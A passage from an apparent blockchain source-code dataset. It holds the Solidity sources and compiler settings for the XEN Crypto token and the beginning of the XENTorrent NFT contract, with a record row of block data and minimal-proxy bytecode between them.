) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
02f2da58cc7db05be7f33a6bf570f611936ab340
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n 